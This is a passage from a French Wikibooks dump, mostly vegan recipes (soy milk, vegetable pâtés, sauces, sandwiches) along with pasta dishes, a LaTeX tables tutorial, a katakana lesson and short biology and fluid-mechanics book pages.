Sarrasin]] * [[Cuisine:Lasagnes au tofu|Lasagnes au tofu]] ==Pizza== * [[Cuisine:Pizza végétalienne|Pizza végétalienne]] * [[Cuisine:Pizza aux poivrons|Pizza aux poivrons]] * [[Cuisine:Pizza au tofu et aux champignons|Pizza au tofu et aux champignons]] * [[Cuisine:Pizza aux poivrons et au pesto|Pizza aux poivrons et au pesto]] * [[Cuisine:Pizza Calzone aux aubergines|Pizza Calzone aux aubergines]] ==Quiches== *[[Cuisine:Quiche aux olives|Quiche aux olives]] *[[Cuisine:Quiche au tofu|Quiche au tofu]] ==Riz== * [[Cuisine:Paella végétalienne|Paella végétalienne]] * [[Cuisine:Riz parfumé aux herbes|Riz parfumé aux herbes]] * [[Cuisine:Riz Rouge|Riz Rouge]] * [[Cuisine:Riz aux noix de Cajou|Riz aux noix de Cajou]] * [[Cuisine:Riz à la sauce avocat|Riz à la sauce avocat]] ==Salade== * [[Cuisine:Salade de mangues thaïe aux arachides rôties|Salade de mangues thaïe aux arachides rôties]] * [[Cuisine:Salade de chicons et haricots blancs|Salade de chicons et haricots blancs]] * [[Cuisine:Salade mixte|Salade mixte]] * [[Cuisine:Salade de pommes et pois chiches|Salade de pommes et pois chiches]] * [[Cuisine:Salade au navet|Salade au navet]] * [[Cuisine:Salade de radis roses aux graines germées|Salade de radis roses aux graines germées]] * [[Cuisine:Salade de soja et de poires à la sauce sésame|Salade de soja et de poires à la sauce sésame]] * [[Cuisine:Salade de tofu aux herbes sauce au gomasio|Salade de tofu aux herbes sauce au gomasio]] * [[Cuisine:Salade de ratatouille froide|Salade de ratatouille froide]] * [[Cuisine:Salade de bananes|Salade de bananes]] * [[Cuisine:Salade de pâtes à l'Orientale|Salade de pâtes à l'Orientale]] ==Sandwich== * [[Cuisine:Hamburger au Tofu|Hamburger au Tofu]] * [[Cuisine:Sandwich végétalien|Sandwich végétalien]] * [[Cuisine:Sandwich à l’avocat et au tofu|Sandwich à l’avocat et au tofu]] * [[Cuisine:Sandwich au beurre d’arachide et à la banane|Sandwich au beurre d’arachide et à la banane]] ==Sauces== * [[Cuisine:Sauce épicée|Sauce épicée]] * [[Cuisine:Béchamel|Béchamel]] * [[Cuisine:Sauce blanche|Sauce blanche]] * [[Cuisine:Sauce à l’oignon et au curry|Sauce à l’oignon et au curry]] * [[Cuisine:Sauce aux champignons|Sauce aux champignons]] * [[Cuisine:Sauce de seitan|Sauce de seitan]] ==Soupe== * [[Cuisine:Bouillon de légumes|Bouillon de légumes]] * [[Cuisine:Potage aux lentilles corail|Potage aux lentilles corail]] * [[Cuisine:Soupe minestrone|Soupe minestrone]] * [[Cuisine:Soupe au potiron|Soupe au potiron]] * [[Cuisine:Potage aux pois cassés|Potage aux pois cassés]] * [[Cuisine:Soupe aux lentilles|Soupe aux lentilles]] * [[Cuisine:Gaspacho andalou|Gaspacho andalou]] * [[Cuisine:Soupe paysanne|Soupe paysanne]] * [[Cuisine:Soupe à la tomate|Soupe à la tomate]] * [[Cuisine:Soupe aux courgettes et aux tomates|Soupe aux courgettes et aux tomates]] * [[Cuisine:Velouté de légumes variés|Velouté de légumes variés]] ==Taboulé== * [[Cuisine:Taboulé aux herbes|Taboulé aux herbes]] * [[Cuisine:Taboulé au quinoa|Taboulé au quinoa]] * [[Cuisine:Taboulé exotique aux oranges et aux pruneaux|Taboulé exotique aux oranges et aux pruneaux]] ==Autre== * [[Cuisine:Tofu|Tofu]] Cuisine:Lait de Soja 3419 38821 2006-03-25T19:43:10Z 212.234.98.9 annulation {{Livre de cuisine}} ===Ingrédients=== * 300 grammes de gaines de soja jaune (si possible dépéliculé) : ''Ce soja vous pouvez le trouver soit en magasin bio soit dans les magasins asiatiques et là selon vos critères voir si il y a une garantie sans ogm.'' * 4 litres d'eau ===Préparation=== '''Pour faire 2 litres :''' * Mettre à tremper les gaines de soja jaune dans 2 litres l'eau froide durant 2 jours (ou 2 heures avec de l'eau à 50°C). * Une fois les graines trempées, (il faut que la peau se détache facilement sous les doigts si elles ne sont pas dépéliculées), enlever la peau. * Mixez le soja avec un peu d'eau prélevée sur les 2 litres, un mixer a bol est idéal. * Versez dans 2 autres litres d'eau et portez à ébullition jusqu'à ce qu'il n'y ait plus de mousse tout en remuant (+/- 15 miniutes) : ''attention, cela monte et déborde comme du lait animal, à vous de trouver suivant votre moyen de chauffage le meilleur processus.'' * Une fois cuit passez au travers d'un tamis (''un tamis métallique à maille très serrée convient très bien'') et c'est fini. * Mettre au frais et consommez-le dans les 48h. ==Conseils== # ''Vous pouvez consommer tel quel ou à partir de ce lait réaliser des yaourts, des desserts ou même faire du tofu en caillant ce lait avec un ferment (traditionnellement du nigari) à une température de 40 °C. Cette recette de lait est aussi réalisable avec des amandes, des noisettes et du sésame ; chaque produit ayant des qualités spécifiques.'' # ''Pour relever le gout du lait de soja, certains proposent d'y ajouter du sirop d'érable ou du sucre vanillé. Pourquoi ne pas essayer avec de la canelle, de la cardamone ou de la fleur d'oranger ? '' Cuisine:Pâtes à la carbonara 3421 45164 2006-06-18T16:05:14Z Nicombo 684 {{Livre de cuisine}} Les '''pâtes à la ''carbonara''''' sont l'un des plats emblématiques de la cuisine italienne. Souvent maltraitée, la recette exige des ingrédients simples, mais une exécution délicate. ===Ingrédients (par personne)=== * Pâtes (voir la section « Variantes » pour leur choix) ; * 40 g de ''pancetta'' (lard italien roulé et parfumé) ou de ''guanciale'' (lard de joue de porc), à défaut du lard maigre non fumé ; * 30 g de fromage fraîchement râpé : parmesan ou ''pecorino romano'', ou un mélange des deux ; * Un œuf (ou deux jaunes) ; * Poivre du moulin. === Préparation === # Tailler en petits dés la ''pancetta'', et faire dorer dans une poêle sèche chauffée. Éponger sur un papier absorbant, et réserver à part. # Faire chauffer une grande quantité d'eau bouillante salée (1 l d'eau et 10 g de sel par 100 g de pâtes) et faire cuire les pâtes selon les instructions du paquet. # Pendant ce temps, battre les œufs, ajouter le(s) fromage(s) râpé(s), poivrer généreusement (le sel est inutile à cause de la pancetta). # Quand les pâtes sont cuites, les égoutter rapidement puis les reverser dans leur récipient. # Hors du feu, ou à feu très doux, ajouter les dés de ''pancetta'' puis le mélange d'œufs, remuer vigoureusement pour enrober les pâtes. Les œufs ne doivent pas coaguler, ce qui implique une température de moins de 70°C, mais épaissir et ne pas rester trop liquides. # Couvrir et servir aussitôt. ===Notes=== * Les pâtes à la ''carbonara'' sont une préparation de dernier moment, qui ne supportent pas le réchauffage. * Si l'on est seul, il est difficile de réussir la recette avec une grande quantité de pâtes (pour plus de deux ou trois personnes). Mieux vaut être à deux, l'un chargé de verser les œufs et l'autre de remuer. ===Variantes=== Les variantes de ce plat sont nombreuses. Les principales concernent : * Le choix des pâtes : pâtes longues comme des ''spaghetti'', ou courtes et creuses, comme les ''rigatoni'' ou les ''penne''. Ces dernières retenant plus de sauce et permettant une cuisson plus facile, elles sont généralement préférées ; * L'œuf entier, ou seulement les jaunes, ce qui influe sur la richesse de la sauce et sa facilité d'exécution ; * La présence d'ail : elle doit toujours être très discrète, par exemple en cuisant les dés de ''pancetta'' avec une gousse d'ail écrasée puis retirée de la poêle. * Hors d'Italie, il est courant de voir ajoutés à la recette de la crème et/ou des champignons. Il s'agit en réalité de recettes différentes de la carbonara traditionnelle. {{Cuisine|[[Cuisine:Recettes de pâtes|Recettes de pâtes]]}} Cuisine:Penne arrabbiata 3422 45161 2006-06-18T16:01:20Z Nicombo 684 L'arrabiatta, sauce très epicée, est très souvent servie avec des pâtes (notamment des ''pennes''), mais peut aussi accompagner le poulet à l'instar du Curry. ==Ingrédients== Pour 4 personnes : * 500gr de ''pennes'' * Une cuillère à soupe d'huile d'olive * 3 tomates epeluchées et grossièrement coupées * 2dl de concentré de tomate * 4 gousses d'Ail * Un oignon emincé * 2 piments rouges * Sel & Poivre ==Exécution== # Faîtes cuire les pennes et laisser cuire 12 min. # Faîtes revenir dans une poêle, l'ail et l'oignon jusqu'à transparence. # Ajoutez les tomates, et le concentré. # Ajoutez les piments très finements coupés et laissez mijoter jusqu'à ce que les tomates perdent leur consistence (Ajouter un peu d'eau si la sauce s'assèche trop) # Dès que les pâtes sont "al dente" (légèrement croquantes), les passer et les rincer à l'eau fraîche. # Mélangez le tout dans le tout, salez et poivrez. # Servez chaud accompagné ou non de parmesan. {{Cuisine|[[Cuisine:Recettes de pâtes|Recettes de pâtes]]}} Biologie humaine 3424 26024 2005-11-24T17:49:41Z Marc 66 '''Anatomie, Physiologie, Santé''' [[Catégorie:Biologie]] #L'[[organisation des systèmes vivants]] #Les [[fonctions de relations et de transmission de l'information]] #Le [[système nerveux]] #La [[transmission de la vie]] #[[sang et milieu intérieur]] #L'[[activité cardiaque]] #La [[digestion et absorption]] #L'[[homéostasie]] #La [[génétique]] #L'[[immunité]] Programmation LaTeX Faire des tableaux 3425 14934 2005-05-04T15:29:26Z TwinSun 296 {{LaTeX}} Commencons par faire un tableau assez simple qui contient 2 lignes et trois colonnes : {| cellspacing="0" cellpadding="5" ! Fichier source !! Résultat (en PostScript) |- | <pre> \begin{tabular}{lll} 1.1 & 1.2 & 1.3 \\ 2.1 & 2.2 & 2.3 \\ \end{tabular} </pre> | [[Image:Latex_tableaux_1.png]] |} L'environnement utilisé est tabular. Les 3 'l' en paramètre servent à indiquer qu'il y a 3 colonnes, toutes alignés à gauche. Pour aligner des colonnes à droite ou au centre, on utilisera 'r' ou 'c'. Si l'on veut séparer les colonnes par des traits verticaux, on ajoutera des pipes '|' à l'endroit souhaité. On peut aussi ajouter des lignes horizontales avec la commande \hline. {| cellspacing="0" cellpadding="5" ! Fichier source !! Résultat (en PostScript) |- | <pre> \begin{tabular}{|l|c|r|} \hline colonne 1 & colonne 2 & colonne 3 \\ \hline 1.1 & 1.2 & 1.3 \\ 2.1 & 2.2 & 2.3 \\ \hline \end{tabular} </pre> | [[Image:Latex_tableaux_2.png]] |} Comme vous pouvez le constater, on utiliser le caractère '&' pour séparer les colonnes et les caractères '\\' pour séparer les lignes. Attention, il ne faut pas mettre '\\' après un '\hline' car cette commande possède déjà un retour à la ligne implicite. Image:Latex tableaux 1.png 3426 14935 2005-05-04T15:12:11Z TwinSun 296 Un premier tableau pour le livre sur LaTeX. Il contient 2 lignes et 3 colonnes. Un premier tableau pour le livre sur LaTeX. Il contient 2 lignes et 3 colonnes. Image:Latex tableaux 2.png 3427 14936 2005-05-04T15:25:48Z TwinSun 296 Un deuxième tableau pour le livre sur LaTeX. C'est une version améliorée du premier. Un deuxième tableau pour le livre sur LaTeX. C'est une version améliorée du premier. Japonais:Ecriture Katakana 3 3428 36467 2006-03-07T20:54:31Z 82.236.230.135 /* Lecon Ecriture Katakana 3 : Fin */ = Lecon Ecriture Katakana 3 : Fin = {| border="1" cellspacing="0" cellpadding="6" style="background:#FFFFE0;" style="text-align: center;" ! width="25" | &nbsp; ! width="25" | a ! width="25" | i ! width="25" | u ! width="25" | e ! width="25" | o |- | &nbsp; | <big>ア</big> | <big>イ</big> | <big>ウ</big> | <big>エ</big> | <big>オ</big> |- ! k | <big>カ</big> | <big>キ</big> | <big>ク</big> | <big>ケ</big> | <big>コ</big> |- ! s | <big>サ</big> | <big>シ</big> | <big>ス</big> | <big>セ</big> | <big>ソ</big> |- ! t | <big>タ</big> | <big>チ</big> | <big>ツ</big> | <big>テ</big> | <big>ト</big> |- ! n | <big>ナ</big> | <big>ニ</big> | <big>ヌ</big> | <big>ネ</big> | <big>ノ</big> |- ! h | <big>ハ</big> | <big>ヒ</big> | <big>フ</big> | <big>ヘ</big> | <big>ホ</big> |- ! h | <big>マ</big> | <big>ミ</big> | <big>ム</big> | <big>メ</big> | <big>モ</big> |- ! y | <big>ヤ</big> | | <big>ユ</big> | | <big>ヨ</big> |- ! r | <big>ラ</big> | <big>リ</big> | <big>ル</big> | <big>レ</big> | <big>ロ</big> |- ! w | <big>ワ</big> | ヰ | <big>ン</big> | ヱ | <big>ヲ</big> |} == マ(ma) ミ (mi) ム (mu) メ (me) モ (mo) == [[Image:Japanese Katakana MA.png|100 px|left|マma]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Katakana MA Stroke.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Ma</big> |- valign="top" ! bgcolor="#CCCCFF" | Exemple: | |} [[Image:Japanese Katakana MI.png|100 px|left|ミ mi]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Katakana MI Stroke.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Mi</big> |- valign="top" ! bgcolor="#CCCCFF" | Exemple: | |} [[Image:Japanese Katakana MU.png|100 px|left|ム mu]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Katakana MU Stroke.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Mu</big> |- valign="top" ! bgcolor="#CCCCFF" | Exemple: | |} [[Image:Japanese Katakana ME.png|100 px|left|メ me]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Katakana ME Stroke.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Me</big> |- valign="top" ! bgcolor="#CCCCFF" | Exemple: | |} [[Image:Japanese Katakana MO.png|100 px|left|モ mo]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Katakana MO Stroke.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Mo</big> |- valign="top" ! bgcolor="#CCCCFF" | Exemple: | |} Et de 5 caractères ! == ヤ (ya) ユ (yu) ヨ (yo) == [[Image:Japanese Katakana YA.png|100 px|left|ヤ ya]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Katakana YA Stroke.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Ya</big> |- valign="top" ! bgcolor="#CCCCFF" | Exemple: | |} [[Image:Japanese Katakana YU.png|100 px|left|ユ yu]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Katakana YU Stroke.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Yu</big> |- valign="top" ! bgcolor="#CCCCFF" | Exemple: | |} [[Image:Japanese Katakana YO.png|100 px|left|ヨ yo]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Katakana YO Stroke.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Yo</big> |- valign="top" ! bgcolor="#CCCCFF" | Exemple: | |} == ラ (ra) リ (ri) ル (ru) レ (re) ロ (ro) == [[Image:Japanese Katakana RA.png|100 px|left|ラ ra]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Katakana RA Stroke.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Ra</big> |- valign="top" ! bgcolor="#CCCCFF" | Exemple: | |} [[Image:Japanese Katakana RI.png|100 px|left|リ ri]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Katakana RI Stroke.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Ri</big> |- valign="top" ! bgcolor="#CCCCFF" | Exemple: | |} [[Image:Japanese Katakana RU.png|100 px|left|ル ru]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Katakana RU Stroke.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Ru</big> |- valign="top" ! bgcolor="#CCCCFF" | Exemple: | |} [[Image:Japanese Katakana RE.png|100 px|left|レ re]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Katakana RE Stroke.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Re</big> |- valign="top" ! bgcolor="#CCCCFF" | Exemple: | |} [[Image:Japanese Katakana RO.png|100 px|left|ロ ro]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Katakana RO Stroke.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Ro</big> |- valign="top" ! bgcolor="#CCCCFF" | Exemple: | |} == ワwa ンn ヲwo == [[Image:Japanese Katakana WA.png|100 px|left|ワ wa]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Katakana WA Stroke.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Wa</big> |- valign="top" ! bgcolor="#CCCCFF" | Exemple: | |} [[Image:Japanese Katakana N.png|100 px|left|ン n]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Katakana N Stroke.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">N</big> |- valign="top" ! bgcolor="#CCCCFF" | Exemple: | |} [[Image:Japanese Katakana WO.png|100 px|left|ヲ wo]] {| width="85%" border="1" cellspacing="0" cellpadding="6" |- valign="top" ! width="100" bgcolor="#CCCCFF" | Ordre de tracé: | [[Image:Japanese Katakana WO Stroke.png]] |- ! bgcolor="#CCCCFF" | Son: | <big style="font-size: 150%;">Wo</big> |- valign="top" ! bgcolor="#CCCCFF" | Exemple: | |} [[Image:Japanese Katakana WI.png|100 px|left|ヰ wi]] [[Image:Japanese Katakana WE.png|100 px|left|ヱ we]]<br /><br /><font size="+15" color="blue">ヰ</font>(Wi) et <font size="+15" color="blue">ヱ</font>(We) .. comme les hiragana, les deux syllabe ont diparues..<br /><br /><br /> Mécanique des fluides 3430 26017 2005-11-24T17:47:58Z Marc 66 ==Qu'est-ce que la mécanique des fluides?== [[Catégorie:Physique]] Ce livre doit présenter les rudiments de la mécanique des fluides (aérodynamique, hydrodynamique), afin de permettre au lecteur de mieux comprendre les phénomènes liés et pouvoir par la suite approfondir ses connaissances. Un problème souvent rencontré avec la mécanique des fluides est la lacune d'ouvrages de niveau intermédiaire - soit les livres expliquent que c'est ce qui fait voler les avions sans beaucoup plus de détails, soit des notions de mathématiques et de physiques avancées sont nécessaires à la compréhension d'ouvrages volumineux et extrêmement complexes. ===Premier document=== Le document ci-après a été créé dans le cadre du travail de maturité Suisse (un travail obligatoire afin de pouvoir se présenter aux examens de maturité, pré-requis à l'entrée à l'université ou aux Écoles Polytechniques). Le temps disponible était insuffisant pour traiter le sujet de manière claire et complète, et de nombreux chapitres manquant. Cependant, le texte doit permettre au lecteur de se faire une idée plus précise des outils utilisés dans la résolution de problèmes de mécanique des fluides et des contraintes communément rencontrées. Un lien historique est également présent au long des chapitres. Malgré les défauts de structure du document, un soin particulier a été apporté à l'exactitude des propos tenus ; avant sa publication, le travail a été vérifié par [http://pg21.org/tmp/TM2001_Aerodynaique_Humaine.pdf TM Aérodynamique Humaine] <small>il serait bien de pouvoir héberger ce fichier sur un serveur de wikibooks - est-ce possible? Merci de faire le nécessaire si vous savez comment.. DL</small> Pour ceux que cela intéresse, le travail a été jugé "Bon", car faisant appel à des notions de mathématiques trop poussées pour les élèves de ma classe de physique, publique cible du travail. Cela ne concerne toutefois que quelques chapitres, et ne nuit pas à la compréhension du reste. Cuisine:Sauce épicée 3433 14941 2005-05-06T14:10:29Z Sarvok 270 ==Ingrédients== * 125mL de ketchup végétal * 125mL de jus d'orange * 125mL de beurre d'arachide crémeux * 25mL d’oignon finement haché * 25mL de moutarde préparée * 25mL de sauce soya * 2mL de sauce piquante ==Préparation== * Dans un mélangeur, combiner tous les ingrédients jusqu'à ce le mélange soit lisse. * Verser le mélange dans une petite casserole et amener à ébullition, puis laisser mijoter 5 à 10 min. * Retirer du feu et laisser refroidir à l’ambiante. Cuisine:Pâté aux champignons et tofu 3434 18459 2005-08-04T20:02:28Z Sarvok 270 ajout du model {{Livre de cuisine}} ==Ingrédients== * 500g de champignons * 500g d'oignons * 200g de [[Cuisine:Tofu|Tofu]] * 40 à 50cL d'huile * une baguette de pain sèche et émiettée * 200g de lentilles * 100g de levure de bière ==Préparation== * Faire rissoler les champignons, les oignons et le tofu dans l'huile, pendant 30 minutes. * Faire ramollir le pain dans de l'eau chaude. * Mélanger les champignons, oignons, tofu avec le pain et les lentilles et la levure de bière. * Assaisonner à votre goût. * Mixer le tout. * Cuir au four à 190°C pendant environ 45 min. * Laisser refroidir. Cuisine:Pâté de pois chiches 3435 18458 2005-08-04T20:01:45Z Sarvok 270 ajout du model {{Livre de cuisine}} ==Ingrédients== * 125g de pois chiches cuits, * 3 oignons rouges hachés, * 5 cuillères à soupe de farine, * 5 cuillères à soupe de levure maltée en paillettes, * 1 càs de coriandre pilée, * huile d’olive, * sel, poivre. ==Préparation== * Mixer les pois chiches avec un peu de leur eau de cuisson. * Faire blondir les oignons dans l’huile d’olive. * Les ajouter aux pois chiches, ainsi que les autres ingrédients. * Verser dans un moule huilé,dessiner un motif au sommet du pâté . * Cuire au moins 30 min à four chaud (une aiguille enfoncée au centre du pâté doit ressortir sèche). Cuisine:Pâté aux champignons 3436 18460 2005-08-04T20:02:58Z Sarvok 270 ajout du model {{Livre de cuisine}} ==Ingrédients== * 100g d'oignons émincés * 100g d’huile végétale (d’olive) * 100g de champignons hachés fin * 100g de levure maltée * 40g d'olives noires dénoyautées et coupées en morceaux * noix de muscade râpée * 8 biscottes complètes * 1 cuillère à thé d'herbes de Provence en poudre * 0,25 cuillère à thé de fenouil en poudre (ou oignons ou échalotes) * sel ==Préparation== * Faire revenir les oignons et les champignons dans une partie de la graisse végétale. * Laisser cuire à l'étouffée pendant 30 min. * A part, faire tremper les biscottes dans de l'eau ; quand elles sont bien molles, les presser fortement, puis les ajouter dans la cocotte ainsi que la graisse et les aromates. * Saler. * Laisser cuire en remuant sans cesse 15 min. * Ajouter la levure, bien mélanger. * On peut mixer le pâté. * Laisser refroidir (dans un moule ou une terrine). <math>Entrez votre formule ici</math> Cuisine:Pâté japonais 3438 18461 2005-08-04T20:06:38Z Sarvok 270 ajout du model cuizine {{Livre de cuisine}} ==Ingrédients== * 350g de pain complet rassis * [[Cuisine:lait de soja|lait de soja]] * 250g de tofu * 250g d'échalotes * 1 poignée de graines de sésame * 1 cuillère à soupe de miso * 1 cuillère à soupe de tamari * 3 cuillère à soupe d'huile de sésame * 1 algue nori ==Préparation== * Faites tremper le pain dans du lait de soja. * Égouttez le tofu puis râpez-le grossièrement. * Épluchez puis hachez les échalotes. * Faites-les revenir dans l'huile de sésame. * Égouttez le pain et mélangez-le avec le tofu, les échalotes bien transparentes, les graines de sésame, le miso et le tamari. * Portez la préparation sur feu doux, dans une grande cocotte et travaillez pendant 10 min avec une cuillère en bois de façon à obtenir une boule compacte. * Huilez un moule à cake et remplissez-le de la préparation. * Faites cuire à four chaud (th.6-7) pendant 30 min. * Pendant ce temps, découpez aux ciseaux l'algue nori sur toute sa longueur en lanières de 1,5 cm de largeur. * Lorsque le pâté est cuit, démoulez-le au sortir du four. * Disposez sur les trois faces visibles du pâté les lanières de nori de manière à représenter les tranches à découper. * La chaleur et l'humidité du pâté feront adhérer la nori. * Laissez refroidir avant de servir ce pâté accompagné de légumes crus joliment découpés (carottes, radis, choux blancs). Cuisine:Pâté végétal aux lentilles 3439 18462 2005-08-04T20:06:40Z Sarvok 270 ajout du model cuizine {{Livre de cuisine}} ==Ingrédients== * 2 verres de lentilles * 1 verre de boulghour gros * 3 feuilles de sauge * 8 échalotes * Sésame complet grillé * huile de sésame * Sel Marin ==Préparation== * Plongez les lentilles dans 6 verres d'eau. * Ajoutez la sauge et cuire à petit feu pendant 1 h et 15 min (Salez 5 min avant la fin de la cuisson). * Plongez le boulghour dans 1,5 verre d'eau bouillante salée. Laissez cuire à feu doux pendant 10 min puis laissez gonfler hors du feu. * Dans une grande sauteuse, faire revenir les échalotes à feu doux dans 3 càs d'huile de sésame. Lorsqu'elles ont bien fondu, ajoutez les lentilles et le boulghour. Mélangez et cuire doucement 5 à 10 min. * Passez la préparation au moulin à légumes. * Ajoutez une petite poignée de graines de sésame puis travaillez l'ensemble avec une cuillère en bois jusqu'à obtenir une pâte homogène. * Huilez un moule à cake avant de le remplir de la préparation. Parsemez le dessus du pâté de graines de sésame. Tapotez les graines pour les incruster dans la pâte. * Laissez cuire à four chaud (th.6-7) pendant 30 min. Démoulez le pâté et laissez refroidir. * Le pâté est encore meilleur le lendemain. Servez-le avec une sauce au tahin. Cuisine:Pâté végétal aux flocons et aux épinards 3440 18463 2005-08-04T20:06:47Z Sarvok 270 ajout du model cuizine {{Livre de cuisine}} ==Ingrédients== * 250g de flocons d'avoine * 4dL de [[Cuisine:Lait de Soja|lait de soja]] * 700g d'épinards * 2 oignons * 2 cuillères à soupe de levure diététique * noix de muscade * piment de Cayenne (facultatif) * 2 cuillères à soupe de margarine végétale * sel marin ==Préparation== * Faites gonfler les flocons dans le lait de soja. * Lavez et égouttez les épinards. Mettez-les dans une cocotte à fond épais et faites-les fondre ainsi en remuant de temps en temps. * Hachez puis faire revenir les oignons dans la graisse végétale. * Coupez grossièrement les épinards et mélangez-les aux flocons. Ajoutez la levure, les oignons, une càt rase de noix de muscade râpée, une pointe de piment et du sel. * Préchauffez le four (th.6). * Placez la préparation dans une grande cocotte et faites-la cuire sur feu doux pendant une dizaine de min. Travaillez de façon à obtenir une boule compacte qui se décolle facilement des parois de la cocotte. * Goûtez et rectifiez l'assaisonnement. * Huilez légèrement un moule à cake et remplissez-le de la préparation. * Faites cuire à four chaud (th.6) pendant 30 min. * Laissez refroidir le pâté avant de le servir en tranches accompagné d'une mayonnaise végétale. * Vous pouvez remplacer les épinards par de la salade cuite. Cuisine:Pâtés au poivron et à la farine de pois chiches 3441 18464 2005-08-04T20:07:30Z Sarvok 270 ajout du model cuizine {{Livre de cuisine}} ==Ingrédients== * 125g de farine de pois chiches * 1 poivron rouge haché menu * 125g de tomates hachées * 0,5 tasse de chapelure * 1 cuillère à soupe d’huile d’olive * 1 cuillère à thé de purée d’amandes * 6g de levure * ciboulette, persil * paprika * sel, poivre ==Préparation== * Mélanger tous les ingrédients en veillant à ce que la préparation soit bien moelleuse (ajouter de l’eau si nécessaire). * Verser dans un moule à cake huilé ou dans des ramequins individuels. * Cuire 1 h. (ou 20 min pour les ramequins) à 180°C. * Vous pouvez présenter les pâtés individuels (démoulés) comme entrée, garnis de salade verte, ou consommer le pâté sur vos tartines, ou comme farce pour des légumes grillés. Cuisine:Pâté végétal au pain et aux olives 3442 18465 2005-08-04T20:12:18Z Sarvok 270 ajout du model cuizine {{Livre de cuisine}} ==Ingrédients== * 350g de pain complet rassis * 10 olives noires * 2 bulbes de fenouil * 2 gousses d'ail * 2 oignons * Huile d'olive * 2 cuillères à soupe de Levure diététique * Gros sel marin ==Préparation== * Faites tremper le pain dans de l'eau. * Pendant ce temps, épluchez puis hachez les oignons. Préparez les fenouils et coupez-les en 3 ou 4 morceaux. * Dans une cocotte, faire revenir les oignons dans un peu d'huile d'olive et ajoutez les fenouils. Couvrez puis laissez cuire à feu doux. * Dénoyautez les olives et coupez-les en rondelles. Dans un mortier, écrasez soigneusement l'ail avec une pincée de gros sel. * Essorez le pain en le pressant dans un linge puis émiettez-le. * Dans une grande cocotte, mélangez le pain, les olives, l'ail, la levure diététique et 3 càs d'huile d'olive. * Lorsque les fenouils sont bien tendres, coupez-les en petits morceaux. Incorporez les oignons et les fenouils à la préparation. * Préchauffez le four (th.6-7). * Posez la cocotte sur feu doux et travaillez vigoureusement la préparation avec une cuillère en bois. * L'ensemble doit former une boule compacte. * Goûtez et rectifiez l'assaisonnement. * Versez la préparation dans un moule à cake légèrement graissé. * Faites cuire à four chaud pendant 40 min (th.6-7). * Démoulez et laissez refroidir. * Servez ce pâté végétal avec une salade de crudités ou un coulis de tomate. Cuisine:Pâté végétal 3443 18466 2005-08-04T20:12:27Z Sarvok 270 ajout du model cuizine {{Livre de cuisine}} ==Ingrédients== * 1 tasse de graines de tournesol moulues * 0,5 tasse de farine de blé * 0,5 tasse de levure alimentaire * 1 gros oignon émincé * 2 cuillères à soupe de jus de citron * 1 pomme de terre râpée * 0,5 tasse huile végétale * 1,5 tasse d’eau * thym, basilic, sauge * sel ==Préparation== * Mélanger le tout. Verser dans un plat Pyrex. * Cuire 1 h. à 190°C. * Quand la préparation est refroidie la démouler. Cuisine:Sandwich végétalien 3444 14951 2005-05-06T15:39:16Z Sarvok 270 ==Ingrédients== * 1 avocat * Sauce au soja ==Préparation== * Vider l'avocat de sa chair et la broyer avec une fourchette, en ajoutant un peu de sauce de soja. Vous pouvez mettre la pâte ainsi obtenue dans du pain. PS : Beaucoup de sandwichs végétaliens peuvent très facilement être faits, ayez de l’imagination ! Cuisine:Sandwich à l’avocat et au tofu 3445 14952 2005-05-06T15:43:22Z Sarvok 270 ==Ingrédients== * 0,5 